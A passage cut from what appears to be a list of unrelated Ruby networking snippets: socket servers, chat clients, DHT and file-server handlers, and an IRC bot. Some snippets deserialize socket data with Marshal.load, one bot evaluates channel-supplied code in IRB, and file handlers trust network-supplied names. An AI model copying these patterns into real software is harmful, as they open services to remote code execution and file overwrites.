\"OK\"\n\t\t\t\t\t@waiting = false\n\t\t\t\telsif msg_type == \"NEW_NODE\"\n\t\t\t\t\tnew_node_info = arguments.first\n\t\t\t\t\tnew_network_node(new_node_info)\n\t\t\t\telsif msg_type == \"ADD_NODE\"\n\t\t\t\t\tinfo = arguments.first\n\t\t\t\t\t@neighbour_nodes << info\n\t\t\t\telsif msg_type == \"DROP_NODE\"\n\t\t\t\t\tinfo = arguments\n\t\t\t\t\tto_delete = @neighbour_nodes.select { |n| n.host == info.host and n.port == info.port}\n\t\t\t\t\t@neighbour_nodes - to_delete\n\t\t\t\telsif msg_type == \"RESOURCE_TABLE\"\n\t\t\t\t\t@resource_table = arguments.first\n\t\t\t\telsif msg_type == \"ADD_RESOURCE\"\n\t\t\t\t\tresource = arguments.first\n\t\t\t\t\t@resource_table.merge!(resource)\n\t\t\t\t\tputs \"#{resource.to_a}\"\n\t\t\t\t\tputs \"#{request_queue}\"\n\t\t\t\t\tresolve_queue(resource.to_a[0][0])\n\t\t\t\tend \n\t\tend\n\tend", "def run\n while true\n begin\n res = select( @descriptors, nil, nil)\n if res != nil \n for sock in res[0]\n if sock == @serverSocket \n accept_new_connection\n elsif sock.eof? \n sock.close\n @user_info.delete(@user_info[@descriptors.index(sock)-1])\n @descriptors.delete(sock)\n else\n msg = sock.gets()\n puts msg\n user_info = @user_info[@descriptors.index(sock)-1]\n if (msg =~ /user_info:|source_info:|admin_info:/) and user_info.nil? \n eval_first_msg(msg,sock) \n elsif (msg =~ /user_info:|source_info:|admin_info:/) and !(user_info.nil?)\n sock.write(\"You are registered #{user_info[:nickname]}, do not try to deceive me\\n\")\n else\n response_request(msg,sock)\n end\n end\n end\n end\n rescue => e\n puts \"Somenthing wrong happened #{e}\"\n end\n end\n end", "def run\n\t\tputs \"Server waiting for conncetions\"\n\t\tloop do\n\t\t\tThread.start(@serverSocket.accept) do |conection|\n\t\t\t\t# Agregamos al cliente a la lista de conectados si este no\n\t\t\t\t# esta en la lista\n\t\t\t\t(@clients << conection) unless @clients.include? conection\n\t\t\t\t# Registramos la conexion por consola\n\t\t\t\tputs \"Conexion #{conection}\"\n\t\t\t\t# Avisamos de la conexion exitosa\n\t\t\t\tconection.puts \"i Conexion establecida\"\n\t\t\t\t# Enviamos la lista de servidores\n\t\t\t\tconection.puts \"m \" << Connections::SERVER_IP.join(\" \") if @master\n\t\t\t\tconection.puts \"s \" << @arry_ips.join(\" \") unless @master\n\t\t\t\t# Escuchamos los mensajes de la conexion\n\t\t\t\tlisten_user(conection)\n\t\t\t\t# Quitamos la conexion\n\t\t\t\[email protected](conection)\n\t\t\t\t# Avisamos en consola de la desconeccion\n\t\t\t\tputs \"Desconexion #{conection}\"\n\t\t\t\t# Cerramos el socket\n\t\t\t\tconection.close\n\t\t\tend\n\t\tend.join\n\tend", "def listen\n @response = Thread.new do\n loop {\n msg = JSON.parse(@server.gets.chomp)\n puts sprintf(\"msg in listen: %s\\n\", msg.inpect)\n if msg[0].string?\n puts msg[0]\n elsif msg[0] == 0x00\n if msg[1] == \"CLIST\"\n puts msg[1].to_s.gsub!(/[\"\\[\\]]/,'')\n elsif msg[1] == \"DISCONNECT\"\n puts \"disconnecting\"\n exit(0)\n end\n elsif msg[0] == 0x01\n puts \"Access denied, wrong password or no such client_ID\"\n exit(0)\n elsif msg[0] == 0x02\n puts \"Duplicate client_ID\"\n exit(0)\n end\n }\n end\n end", "def start\r\n @thread = Thread.new {\r\n @server.connect\r\n @proto.fire_pseudo(:connect, {address: @server.address?, port: @server.port?})\r\n protos = @server.read\r\n while protos != nil && @halt != true\r\n protos.each do |proto|\r\n Log::write \"<= \" + proto\r\n @proto.parse_proto(proto)\r\n end\r\n protos = @server.read\r\n end\r\n }\r\n end", "def start\n @server = TCPServer.open(@hostname, @port)\n loop do\n Thread.new(@server.accept) do |client|\n while message = client.gets\n fmp = ForeignMessageParser.new(message)\n Mailbox.append(fmp.to_event) if fmp.got_valid_message?\n end\n client.close\n end\n end\n end", "def main_loop\n Thread.start(@protocol.accept) do |client|\n @grp.add Thread.current\n Thread.current['DRb'] = { 'client' => client ,\n 'server' => self }\n DRb.mutex.synchronize do\n client_uri = client.uri\n @exported_uri << client_uri unless @exported_uri.include?(client_uri)\n end\n loop do\n begin\n succ = false\n invoke_method = InvokeMethod.new(self, client)\n succ, result = invoke_method.perform\n if !succ && verbose\n p result\n result.backtrace.each do |x|\n puts x\n end\n end\n client.send_reply(succ, result) rescue nil\n ensure\n client.close unless succ\n if Thread.current['DRb']['stop_service']\n Thread.new { stop_service }\n end\n break unless succ\n end\n end\n end\n end", "def listener()\n\t$server = TCPServer.open($port)\n\t#puts (\"start listening\")\n\tloop {\n\t\tclient = $server.accept()\n\t\t#puts (\"adding #{client} to reading list\")\n\t\t# synchronize reading list\n\t\t$semaphore.synchronize {\n\t\t\t$reading.push(client)\t\n\t\t}\n\t}\nend", "def run()\n loop do\n s = @sock.gets\n break if s.nil?\n @mutex.synchronize { handle_server_input(s) }\n end\n end", "def inner_loop\n return if @stop\n\n data = @socket.readpartial 4096\n driver.parse data unless data.nil? or data.empty?\n end", "def serve(zipped)\n server = TCPServer.new(1174)\n puts \"Server is up on port 1174\\n\\n\"\n while true\n Signal.trap(\"INT\") {\n puts \"\\nCaught interupt signal, server quit\"\n exit\n }\n Thread.new(server.accept) do |client|\n print \"Sending file to #{client.peeraddr[2]} \"\n loading() {\n client.write zipped\n }\n puts \"\\nSuccessfully sent!\\n\\n\"\n client.close\n end\n end\n end", "def start host, port, port_to_contact, first_node\n folder = ARGV[0]\n # puts \"starting\", host, port, port_to_contact, first_node\n Thread.new {\n unless first_node\n puts \"not the first so joining using socket to connect\"\n s = TCPSocket.open(host, port)\n $node.join port_to_contact\n end\n while true\n sleep(2)\n $node.stabalize\n $node.fixRandomFinger\n $node.testing\n end\n }\n\n Thread.new {\n node_server = TCPServer.open(host, port)\n loop {\n Thread.start(node_server.accept) do |node_client|\n data = node_client.gets\n msg = {\"type\" => nil}\n msg = JSON.parse(data) if data\n\n if msg[\"type\"] == \"ping\"\n node_client.puts ({\"type\"=>\"pong\"}).to_json\n end\n if msg[\"type\"] == \"getNode\"\n node_client.puts ($node.node).to_json\n end\n if msg[\"type\"] == \"getPredecessor\"\n node_client.puts ($node.predecessor).to_json\n end\n if msg[\"type\"] == \"getSuccessorsTable\"\n node_client.puts ($node.successors).to_json\n end\n if msg[\"type\"] == \"findPredecessor\"\n pred_node = $node.findPredecessor msg[\"id\"]\n node_client.puts pred_node.to_json\n end\n if msg[\"type\"] == \"getSuccessor\"\n succ_node = $node.getSuccessor\n node_client.puts succ_node.to_json\n end\n if msg[\"type\"] == \"findSuccessor\"\n succ_node = $node.findSuccessor msg[\"id\"]\n node_client.puts succ_node.to_json\n end\n if msg[\"type\"] == \"notify\"\n $node.notify msg[\"node\"]\n reply = { \"type\"=> \"done\" }.to_json\n node_client.puts reply\n end\n if msg[\"type\"] == \"getPredecessor\"\n node_client.puts ($node.predecessor).to_json\n end\n if msg[\"type\"] == \"requestFile?\"\n file_name = msg[\"file_name\"]\n port = msg[\"port\"]\n reply = {\"file_exists\"=>nil}\n reply[\"file_exists\"] = ($node.requestFile? file_name, port) ? true : false\n node_client.puts reply.to_json\n end\n if msg[\"type\"] == \"sendingFile\"\n file = msg[\"file\"] \n f_name = \"files/\" + folder + \"/\" + (file.match (/([^\\/]+)$/)).to_s\n temp_file = f_name+\".temp\"\n unless File.exist? f_name or File.exist? temp_file\n File.open(temp_file, 'wb') do |file|\n # begin\n while chunk = node_client.read(1024)\n break if chunk.empty?\n file.write chunk\n end\n # rescue\n # f = (file.match (/([^\\/]+)$/)).to_s\n # end\n end\n # puts \"now changin name\"\n $mutex.synchronize do\n File.rename temp_file, f_name\n end\n end\n end\n node_client.close\n end\n }\n }\nend", "def recvThread(cmdSock, sock, fName)\n\tputs \"Recieving a file\"\n\tpath = File.expand_path(\"..\", Dir.pwd) + \"/testFiles/\" + fName\n\tfExists = File.exists?(path)\n\t#if the file does not exist accept the file from the client\n\tif fExists == false\n\t\t#notify client we're accepting their file\n\t\tcmdSock.puts(\"1\")\n\t\tfilesize = cmdSock.gets.chomp\n\t\trun = 1\n\t\tcurrentSize = 0\n\t\tFile.open(path, 'wb') do |file|\n\t\t\twhile run == 1\n\t\t\t\t#read data from socket and update current size of download\n\t\t\t\tdata = sock.gets\n\t\t\t\tdata = sock.gets\n\t\t\t\t#for some reason this check is necessary when\n\t\t\t\t#transferring mp3 files\n\t\t\t\tif data.class == NilClass\n\t\t\t\t\trun = 0\n\t\t\t\t\tnext \n\t\t\t\tend\n\t\t\t\tsize = data.size\n\t\t\t\tcurrentSize += size\n\t\t\t\t#write data to file\n\t\t\t\tfile.write(data)\n\t\t\t\tif currentSize == filesize.to_i\n\t\t\t\t\trun = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tputs \"Done recieving file!\"\n\telse\n\t\tputs \"Client is trying sending a file we already have\"\n\t\tcmdSock.puts(\"0\")\n\t\tcmdSock.puts(\"The file you're tryng to send already exists\" \\\n\t\t\t\" on the server (LIST command)\")\n\t\tputs \"test\"\n\tend\nend", "def run\n loop do\n # Wait for a client to connect and then create a thread for it\n Thread.new(@server.accept) do |client_socket|\n logger.info \"Accepted client: #{client_socket.peeraddr.join(':')}\"\n server_socket = TCPSocket.new(@server_host, @server_port)\n begin\n process_packets(client_socket, server_socket)\n rescue Exception => exp\n logger.error exp.to_s\n end\n logger.info \"Disconnected: #{client_socket.peeraddr.join(':')}\"\n server_socket.close\n client_socket.close\n end\n end\n end", "def server\n\[email protected] do |server|\n\t\tputs \"Receiving...\"\n\t\tpacket, address = server.recvfrom(512)\n\t\t\n\t\tputs \"Received: #{packet} from #{address}\"\n\tend\nend", "def start_listen\n @thr_listen = Thread.new do\n begin\n @io_in.each_line do |line|\n raise \"No line?\" if !line || line.to_s.strip.empty?\n alive_check!\n debug \"Received: #{line}\" if @debug\n\n begin\n obj = Marshal.load(Base64.strict_decode64(line.strip))\n debug \"Object received: #{obj}\\n\" if @debug\n rescue => e\n $stderr.puts \"Base64Str: #{line}\" if @debug\n $stderr.puts e.inspect if @debug\n $stderr.puts e.backtrace if @debug\n\n raise e\n end\n\n id = obj[:id]\n obj_type = obj[:type]\n\n if obj_type == :send\n Thread.new do\n #Hack to be able to do callbacks from same thread when using blocks. This should properly be cleaned a bit up in the future.\n obj[:obj][:send_id] = id\n\n begin\n raise \"Object was not a hash.\" unless obj.is_a?(Hash)\n raise \"No ID was given?\" unless id\n res = self.__send__(\"cmd_#{obj.fetch(:obj).fetch(:cmd)}\", obj.fetch(:obj))\n rescue Exception => e\n raise e if e.is_a?(SystemExit) || e.is_a?(Interrupt)\n res = {type: :error, class: e.class.name, msg: e.message, bt: e.backtrace}\n end\n\n data = Base64.strict_encode64(Marshal.dump(type: :answer, id: id, answer: res))\n @io_out.puts(data)\n end\n elsif obj_type == :answer\n if answer_queue = @answers[id]\n debug \"Answer #{id} saved.\\n\" if @debug\n answer_queue << obj.fetch(:answer)\n elsif @debug\n debug \"No answer-queue could be found for ID #{id}.\"\n end\n else\n raise \"Unknown object: '#{obj}'.\"\n end\n end\n rescue => e\n if @debug\n debug \"Error while listening: #{e.inspect}\"\n debug \"#{e.backtrace.join(\"\\n\")}\\n\"\n end\n\n @listen_err = e\n end\n end\n end", "def listen_loop\n $stderr.print \"listen-loop called.\\n\" if @debug\n \n str = @in.gets(\"\\n\")\n if str == nil\n raise \"Socket closed.\" if @in.closed?\n sleep 0.1\n return nil\n end\n \n \n data = str.strip.split(\":\")\n raise \"Expected length of 2 or 3 but got: '#{data.length}'.\\n#{data}\" if data.length != 2 and data.length != 3\n \n raise \"Invalid ID: '#{data[1]}'.\" if data[1].to_s.strip.length <= 0\n id = data[1].to_i\n \n raise \"Invalid length: '#{data[2]}' (#{str.to_s.strip}).\" if data[2].to_s.strip.length <= 0\n length = data[2].to_i\n \n $stderr.print \"Received ID #{id}.\\n\" if @debug\n res = @in.read(length)\n \n begin\n obj = Marshal.load(res)\n $stderr.print \"Got content for '#{id}' (#{data[0]}).\\n\" if @debug\n \n case data[0]\n when \"answer\"\n #raise \"Already have answer for '#{id}'.\" if @out_answers.key?(id)\n @out_answers[id] = obj\n when \"answer_block\"\n @blocks[id][:mutex].synchronize do\n @blocks[id][:results] += obj\n end\n when \"answer_block_end\"\n $stderr.print \"Answer-block-end received!\\n\" if @debug\n @blocks[id][:block_result] = obj\n @blocks[id][:finished] = true\n when \"send\"\n Knj::Thread.new do\n result_obj = Knj::Process::Resultobject.new(:process => self, :id => id, :obj => obj)\n \n begin\n @on_rec.call(result_obj)\n rescue SystemExit, Interrupt => e\n raise e\n rescue => e\n #Error was raised - try to forward it to the server.\n result_obj.answer(\"type\" => \"process_error\", \"class\" => e.class.name, \"msg\" => e.message, \"backtrace\" => e.backtrace)\n end\n end\n when \"send_block\"\n result_obj = Knj::Process::Resultobject.new(:process => self, :id => id, :obj => obj)\n @blocks_send[id] = {:result_obj => result_obj, :waiting_for_result => false}\n \n @blocks_send[id][:enum] = Enumerator.new do |y|\n @on_rec.call(result_obj) do |answer_block|\n $stderr.print \"Running enum-block for #{answer_block}\\n\" if @debug\n \n #Block has ended on hosts side - break out of block-loop.\n break if !@blocks_send.key?(id)\n \n #Throw the result at the block running.\n y << answer_block\n \n #This is to prevent the block-loop from running again, until host has confirmed it wants another result.\n dobreak = false\n \n loop do\n #Block has ended on hosts-side - break of out block-loop.\n if !@blocks_send.key?(id)\n dobreak = true\n break\n end\n \n #If waiting for result then release the loop and return another result.\n if @blocks_send[id][:waiting_for_result]\n @blocks_send[id][:waiting_for_result] = false\n break\n end\n \n #Wait a little with checking for another result to not use 100% CPU.\n sleep 0.01\n end\n \n #The block-loop should not run again - it has been prematurely interrupted on the host-side.\n break if dobreak\n end\n end\n when \"send_block_res\"\n begin\n #The host wants another result. Set the 'waiting-for-result' and wait for the enumerator to run. Then return result from enumerator (code is right above here).\n @blocks_send[obj][:waiting_for_result] = true\n res = @blocks_send[obj][:enum].next\n self.answer(id, {\"result\" => res})\n rescue StopIteration\n self.answer(id, \"StopIteration\")\n end\n when \"send_block_end\"\n if @blocks_send.key?(obj)\n enum = @blocks_send[obj][:enum]\n @blocks_send.delete(obj)\n \n begin\n enum.next if enum #this has to be called to stop Enumerator from blocking...\n rescue StopIteration\n #do nothing.\n end\n end\n \n self.answer(id, \"ok\")\n when \"send_block_buffer\"\n Knj::Thread.new do\n result_obj = Knj::Process::Resultobject.new(:process => self, :id => id, :obj => obj)\n block_res = nil\n buffer_done = false\n \n begin\n buffer_answers = Knj::Threadsafe.std_array #JRuby needs the threadsafety.\n buffer_thread = Knj::Thread.new do\n loop do\n arr = buffer_answers.shift(200)\n \n if !arr.empty?\n $stderr.print \"Sending: #{arr.length} results.\\n\" if @debug\n self.answer(id, arr, \"answer_block\")\n else\n $stderr.print \"Waiting for buffer-stuff (#{arr.length}, #{buffer_done}).\\n\" if @debug\n sleep 0.05\n end\n \n break if buffer_done and buffer_answers.empty?\n end\n end\n \n begin\n begin\n count = 0\n block_res = @on_rec.call(result_obj) do |answer_block|\n loop do\n if buffer_answers.length > 1000\n $stderr.print \"Buffer is more than 1000 - sleeping and tries again in 0.05 sec.\\n\" if @debug\n sleep 0.05\n else\n break\n end\n end\n \n count += 1\n buffer_answers << answer_block\n \n if count >= 100\n count = 0\n \n loop do\n answer = self.send(\"obj\" => id, \"type\" => \"send_block_count\")\n $stderr.print \"Answer was: #{answer}\\n\" if @debug\n \n if answer >= 100\n $stderr.print \"More than 100 results are buffered on the other side - wait for them to be handeled before sending more.\\n\" if @debug\n sleep 0.05\n else\n $stderr.print \"Less than 100 results in buffer - send more.\\n\" if @debug\n break\n end\n end\n end\n end\n ensure\n buffer_done = true\n end\n ensure\n buffer_thread.join\n end\n rescue => e\n $stderr.print Knj::Errors.error_str(e) if @debug\n #Error was raised - try to forward it to the server.\n result_obj.answer(\"type\" => \"process_error\", \"class\" => e.class.name, \"msg\" => e.message, \"backtrace\" => e.backtrace)\n ensure\n $stderr.print \"Answering with block-end.\\n\" if @debug\n self.answer(id, block_res, \"answer_block_end\")\n end\n end\n when \"send_block_count\"\n if @blocks.key?(obj)\n count = @blocks[obj][:results].length\n else\n count = 0\n end\n \n self.answer(id, count)\n else\n $stderr.print \"Unknown command: '#{data[0]}'.\"\n raise \"Unknown command: '#{data[0]}'.\"\n end\n rescue => e\n $stderr.print Knj::Errors.error_str(e) if @debug\n #Error was raised - try to forward it to the server.\n result_obj = Knj::Process::Resultobject.new(:process => self, :id => id, :obj => obj)\n result_obj.answer(\"type\" => \"process_error\", \"class\" => e.class.name, \"msg\" => e.message, \"backtrace\" => e.backtrace)\n end\n end", "def listening(client)\n while (response=client.readline) #<= gets,read does not trigger an EOFError\n Thread.new do\n data = response.size\n client.puts(response)\n puts \"Client #{client} said: #{response} with #{data} bytes\\n\"\n @total += data\n end\n end.join\n end", "def startServer()\n\tserver = TCPServer.open($ports[$hostname])\n\tloop {\n\t\tThread.start(server.accept) do |client|\n\t \treceiveMessage(client)\n\t\tend\n\t}\nend", "def run\n use(@inline_handler)\n @socket = TCPServer.new(@host, @port)\n @handlers = @handlers.uniq.freeze\n @options = @options.freeze\n @acceptor = Thread.new do \n begin\n logger.debug \"Starting leech server on tcp://#{@host}:#{@port}\"\n loop do \n begin\n client = @socket.accept \n worker_list = @workers.list\n \n if worker_list.length >= @max_workers\n logger.error \"Server overloaded with #{worker_list.length} workers (#@max_workers max). Dropping connection.\"\n client.close rescue nil\n reap_dead_workers(\"max processors\")\n else\n thread = Thread.new(client) {|c| process_client(c) }\n thread[:started_on] = Time.now\n @workers.add(thread)\n sleep @throttle if @throttle > 0\n end\n rescue StopServer\n break\n rescue Errno::EMFILE\n reap_dead_workers(\"too many open files\")\n sleep 0.5\n rescue Errno::ECONNABORTED\n client.close rescue nil\n rescue Object => e\n logger.error \"#{Time.now}: Unhandled listen loop exception #{e.inspect}.\"\n logger.error e.backtrace.join(\"\\n\")\n end\n end\n graceful_shutdown\n ensure\n @socket.close \n logger.debug \"Closing leech server on tcp://#{@host}:#{@port}\"\n end\n end\n \n return @acceptor\n end", "def read()\n\tloop {\n\t\t#puts (\"read list in : #{$reading}\")\n\t\trs, ws, es = IO.select($reading, nil, nil, 1)\n\t\tif (rs != nil)\n\t\t\trs.each { |r|\n\t\t\t\tmsg = r.gets\n\t\t\t\t#only reads in messages sent from a socket\n\t\t\t\tif (!(msg == nil))\n\t\t\t\t\tmsg_info = msg.split(\" \")\n\t\t\t\t\t#if msg_info[0] != \"LSP\"\n\t\t\t\t\t#puts(\"just recieved a message #{msg}\")\n\t\t\t\t\t#end\n\t\t\t\t\t#puts (\"just recieved a message #{msg}\")\n\t\t\t\t\tparseMsg(msg)\t\t\t\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t\t\n\t}\nend", "def serve(io)\n loop do\n data = \"\"\n begin\n while line = io.recv(1)\n break if line == \"\\0\"\n data += line\n end\n rescue\n log \"recv break removal event\"\n remove_dead_socket io #, true\n break\n end\n unless data == \"\"\n log \"#{data}\"\n parse_line(data, io)\n end\n end\n end", "def listen_dserver(client)\n msg = @directoryserver.gets.chomp\n \n if(@is_new == \"1\")\n if(msg[0..5] == \"NOFILE\")\n @lookupserver = @fileserver0 #default for all new file entries\n @server_fn = \"#{@client_fn[0..@client_fn.length-5]}file.txt\"\n @client_msg.insert(5,@server_fn)\n @directoryserver.puts(\"INSERT:#{@client_fn} SERVER_FN:#{@server_fn}\")\n @lookupserver.puts(@client_msg)\n listen_fserver(client)\n # Client trying to create a new file with the same name as another\n # Implemented in this way for ease\n else\n client.puts @error0\n end\n else\n msg = msg.split(\" \")\n ip = msg[0][7..msg[0].length-1]\n port = msg[1][5..msg[1].length-1]\n @server_fn = msg[2][9..msg[2].length-1]\n @fservers[:ips].each do |other_port, other_ip|\n if(port == other_port.to_s && ip == other_ip.to_s)\n @lookupserver = @fservers[:tcps][other_port]\n end\n end\n if(@client_msg[0..4] == \"OPEN:\")\n @client_msg.insert(5,\"#{@server_fn}\")\n @lookupserver.puts(@client_msg)\n listen_fserver(client)\n elsif (@client_msg[0..5] == \"CLOSE:\")\n @client_msg.insert(6,\"#{@server_fn}\")\n @lookupserver.puts(@client_msg)\n listen_fserver(client)\n elsif (@client_msg[0..4] == \"READ:\")\n\tif @cached == true\n @lookupserver.puts(\"TIME:#{@server_fn}\")\n\t @client_msg.insert(5,\"#{@server_fn}\")\n\t check_cache_validity(client)\n\telse\n @lookupserver.puts(@client_msg)\n listen_fserver(client)\n\tend\n else #WRITE\n @lookupserver.puts(\"WRITE:#{@server_fn}\")\n @lookupserver.puts(@start_n)\n @lookupserver.puts(@contents)\n\tlisten_fserver(client)\n end\n end\n end", "def start_webserver()\n server = TCPServer.new('localhost', DEFAULT_PORT)\n puts \"Vision server running on http://localhost:#{DEFAULT_PORT}/\"\n while session = server.accept\n time = Time.new\n puts \"New connection #{time.inspect}\"\n if File.exist?(DEFAULT_HTML_PATH) && !File.directory?(DEFAULT_HTML_PATH)\n File.open(DEFAULT_HTML_PATH, \"rb\") do |file|\n session.print \"HTTP/1.1 200 OK\\r\\n\" +\n \"Content-Type: text/html\\r\\n\" +\n \"Content-Length: #{file.size}\\r\\n\" +\n \"Connection: close\\r\\n\"\n\n session.print \"\\r\\n\"\n\n # write the contents of the file to the session\n IO.copy_stream(file, session)\n end\n else\n message = \"HTML File not found\\n\"\n # respond with a 404 error code to indicate the file does not exist\n session.print \"HTTP/1.1 404 Not Found\\r\\n\" +\n \"Content-Type: text/plain\\r\\n\" +\n \"Content-Length: #{message.size}\\r\\n\" +\n \"Connection: close\\r\\n\"\n\n session.print \"\\r\\n\"\n session.print message\n end\n end\nend", "def run\n @active_connections = 0\n @mutex = Mutex.new\n\n logger.info \"Starting server on #{server_configuration.bind}\"\n\n # Set up each listener and add it to an array ready for the event loop\n @active_descriptors = []\n @active_descriptors << establish_socket_server\n @active_descriptors << establish_file_descriptor_server\n @active_descriptors << setup_signal_traps\n\n write_pidfile\n\n # Enter the main loop\n select_loop\n end", "def listen\n @socket.each do |line|\n puts \"GOT: #{line.inspect}\" if config[:debug]\n poll if !config[:silent]\n case line.strip\n when /^PING/\n write line.sub(\"PING\", \"PONG\")[0..-3]\n when /^ERROR/, /KICK ##{config[:channel]} #{config[:nick]} / \n restart unless line =~ /PRIVMSG/\n when /:(.+?)!.* PRIVMSG ##{config[:channel]} \\:\\001ACTION (.+)\\001/\n log \"* #{$1} #{$2}\"\n when /:(.+?)!.* PRIVMSG ##{config[:channel]} \\:(.+)/\n nick, msg = $1, $2 \n log \"<#{nick}> #{msg}\"\n if !config[:silent]\n case msg\n when /^>>\\s*(.+)/ then try $1\n when /^#{config[:nick]}:/ \n [\"Usage:\", \" '>> CODE': evaluate code in IRB\", \" 'reset_irb': get a clean IRB session\", \" 'add_svn [repository_url]': watch an SVN repository\", \" 'add_atom [atom_feed_url]': watch an atom feed, such as a Git repository\"].each {|s| say s}\n when /^reset_irb/ then reset_irb\n when /^add_svn (.+?)(\\s|\\r|\\n|$)/ then @svns[$1] = 0 and say @svns.inspect\n when /^add_atom (.+?)(\\s|\\r|\\n|$)/ then @atoms[$1] = '' and say @atoms.inspect\n when /(http(s|):\\/\\/.*?)(\\s|\\r|\\n|$)/ then post($1) if config[:delicious_pass] \n end\n end\n end\n end\n end", "def serve\n while true\n client = nil\n\n # accept connection\n\n begin\n client = @socket.accept\n rescue => err\n @server.log(err.inspect, err)\n @server.heraldize('fizzie! Socket server trouble (in accept)! ' + err.inspect)\n break\n end\n\n # serve client\n\n begin\n refused = handle(client)\n unless refused.nil?\n client.send(\"error\\n#{refused}\\n\", 0)\n client.close\n end\n rescue => err\n begin\n client.close unless client.closed?\n rescue\n # just ignore\n end\n @server.log(err.inspect, err)\n end\n end\n end", "def recibe\n begin\n Thread.new do\n loop do\n response = @socket.gets.chomp\n puts \"#{response}\"\n if response.eql? '|=QUIT:'\n @socket.close\n end\n end\n end\n rescue IOError => e\n puts \"Estas desconectado\"\n @socket.close\n end\n end", "def run\n loop do\n schedule(@fileserver.accept) do |client|\n loop do\n request = client.gets.chomp\n if request[0..4] == \"OPEN:\"\n open_request(request, client)\n elsif request[0..5] == \"CLOSE:\"\n close_request(request[6..request.length-1].to_s, client)\n elsif request[0..4] == \"READ:\"\n read_request(request, client)\n elsif request[0..5] == \"WRITE:\"\n write_request(request, client)\n\t elsif request[0..4] ==\"TIME:\"\n\t time_request(request, client)\n end\n end\n end\n end\n @fileserver.close\n at_exit { @pool.shutdown }\n end", "def socket_loop\n @socket.listen\n loop do\n client_socket, client_addr = @socket.accept\n Thread.new(client_socket) { |client_socket| serve_client client_socket } \n end\n @manager.tem_ports\n end", "def listen\n\t\t@response = Thread.new do\n\t\t\tloop do\n\t\t\t\t# Revisamos si se cerro la conexion\n\t\t\t\t# @server.eof?\n\t\t\t\t# @request.kill\n\t\t\t\t# @server.close\n\t\t\t\t# puts \"Reconectando...\"\n\t\t\t\t# reconect\n\t\t\t\t# Optenemos el mensaje del servidor\n\t\t\t\tmessage = @server.gets.chomp\n\t\t\t\t# Optenemos el tipo\n\t\t\t\tmessage_t = message[0]\n\t\t\t\t# Quitamos los dos primeros caracteres\n\t\t\t\tmessage.slice!(0..1)\n\t\t\t\t# Revisamos si es un mensaje o una nota a reproducir\n\t\t\t\tif message_t == \"i\"\n\t\t\t\t\t# Mostramos el mensaje en consola\n\t\t\t\t\tputs message\n\t\t\t\telsif message_t == \"n\"\n\t\t\t\t\t# Tomamos solo la nota y reproducimos su equivalente\n\t\t\t\t\t# Reproducimos la nota musical\n\t\t\t\t\tputs \"Nota no valida [q-p][a-l]!\" unless RMSound::note_play(message[0])\n\t\t\t\telsif message_t == \"s\"\n\t\t\t\t\t# Resivimos una lista de ips de un esclavo\n\t\t\t\t\t# Actualizamos la lista interna si esta por defecto\n\t\t\t\t\tif @ip_integrity == \"d\"\n\t\t\t\t\t\tputs \"Lista de IPs actualizada\"\n\t\t\t\t\t\t@ip_integrity = \"s\"\n\t\t\t\t\t\t@arry_ips = message.split(' ')\n\t\t\t\t\tend\n\t\t\t\telsif message_t == \"m\"\n\t\t\t\t\t# Resivimos una lista de ips de un maestro\n\t\t\t\t\t# Actualizamos la lista interna si esta por defecto\n\t\t\t\t\tif @ip_integrity != \"m\"\n\t\t\t\t\t\tputs \"Lista de IPs actualizada\"\n\t\t\t\t\t\t@ip_integrity = \"m\"\n\t\t\t\t\t\t@arry_ips = message.split(' ')\n\t\t\t\t\tend\n\t\t\t\telsif message_t == \"r\"\n\t\t\t\t\tputs message\n\t\t\t\telse\n\t\t\t\t\t# Mostramos el mensaje en consola\n\t\t\t\t\tputs \"Desconocido: \" << message\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def run\n connect = false\n until connect do\n begin\n call { |server| @server = server ; start }\n rescue\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end", "def run!\n start_server!\n @server_thread = Thread.new do\n loop do\n Thread.start(@server.accept) do |socket|\n begin\n handle_request(socket)\n rescue => e\n @logger.error \"#{e.class}: #{e.message}\"\n @logger.debug e.backtrace\n ensure\n closing_client = @client_mutex.synchronize do\n @clients.delete(socket)\n end\n # invoke callbacks for disconnect if there is a client to\n # disconnect\n emit(:client_disconnect, closing_client) if closing_client\n socket.close\n end\n end\n end\n end\n end", "def serve(io)\n # p \"io is #{io}\" \n \n # Increment the client ID so each client gets a unique ID\n @@client_id += 1\n my_client_id = @@client_id\n my_position = @@chat.size\n \n io.puts(\"Welcome to the chat, client #{@@client_id}!\\n\")\n \n \n loop do \n \n # Every 5 seconds check to see if we are receiving any data \n #if IO.select([io], nil, nil, 2)\n # If so, retrieve the data and process it..\n #line = io.gets\n p \"...\"\n line = io.readline\n p \"line:#{line}\"\n line = line.strip\n # If the user says 'quit', disconnect them\n if line == 'quit'\n p \"client quit\"\n break\n end\n begin\n p \"before handled\"\n io.puts \"got #{line.chop}\\n\"\n p \"handled\"\n rescue Exception=>e\n p e\n err(e)\n end\n # Shut down the server if we hear 'shutdown'\n #self.stop if line =~ /shutdown/\n \n \n\n end # loop\n \n end", "def start\n # the above only accepts 1 requiest. it will stop after receiving a request\n # in order to enable the server to accept more than 1 request, you need to create a loop\n loop do\n # this is an infinite loop.. this can now accept multiple vars and it will ahve separate objects per request\n # once the server socket is ready..\n # we need to tell the server socket that we're ready to accept a connection\n # the #accept method accepts the next incoming connection or it will block if there are no incoming connections at teh moment\n # it will #accept once it arrives\n # this is the socket / connetiont at we have to teh remote browser\n socket = @server.accept # THIS IS THE CLIENT SOCKET\n puts \"this is the socket var: \" + @socket.inspect\n # let's start the new conneciton inside a thread\n # NOTE: there's a big performance and memory penalty for creating a new thread => needs to put a bunch of memory\n # to increase the performance, they initialize threads and then store those threads in a $\"thread pool\" => ie. instead of initializign new threads, it leverages existing threads\n # doing what you did below slows down the server significantly\n # apache, nginx, unicorn => prefork model\n # => fork meaning it will fork right afte rthe server socket initialization (see above in TCPServer) => 2 parts: main server socket in the master process and we will make child processes by calling a method called fork. it copies the the main process and it will $share the sockets from the master process\n # to the child proceess\n Thread.new do\n # create a new isntance of the connneciton class\n connection = Connection.new(socket, @app) # now we have access to the rack application instance inside our Connection \n connection.process\n end\n end\n end", "def run\r\n Settings::DEFAULT_TRIGGERS.each_key{|k| load_trigger(k, true)}\r\n Settings::TRIGGERS.each_key{|k| load_trigger(k)}\r\n @socket = TCPSocket.open(self.server, self.port)\r\n\r\n $log.info(\"Initiating handshake with server...\")\r\n say \"USER #{nick} 0 * 